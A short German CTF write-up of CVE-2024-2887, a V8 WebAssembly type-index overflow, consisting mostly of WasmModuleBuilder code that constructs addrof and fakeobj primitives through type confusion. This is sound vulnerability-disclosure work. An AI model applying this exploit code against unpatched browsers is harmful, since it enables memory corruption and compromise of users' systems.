
For V8CTF M123
Dies ist eine kurze Beschreibung zu CVE-2024-2887, die ich verwendet habe, um V8CTF M123 zu beanspruchen.
Wenn mehr Typen als kV8MaxWasmTypes definiert werden, was durch Auffüllen mit weiteren Typen in RecGroup erreicht werden kann, kann der Typ-Index mehr als 20 Bit betragen und dann überlaufen. Dann können zwei Typen als gleich betrachtet werden, da sie denselben heap_type haben.
Wir können das addrof-Primitiv erreichen, indem wir ein Array mit ref-Objekten erstellen und über ein float64-Array lesen, und das fakeobj-Primitiv, indem wir ein float64-Array erstellen und es als Objekt lesen.
Der Builder des Wasm-Moduls sieht wie folgt aus:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
Für Sandbox-Umgehungen siehe V8-Sandbox-Escape-via-Regexp. Der endgültige Exploit verwendet normale ORW-Ketten, um das Flag über stderr zu schreiben.